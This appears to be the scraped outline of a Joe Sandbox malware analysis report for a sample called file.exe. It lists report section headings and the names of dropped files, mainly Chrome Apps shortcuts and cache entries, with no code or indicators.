Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe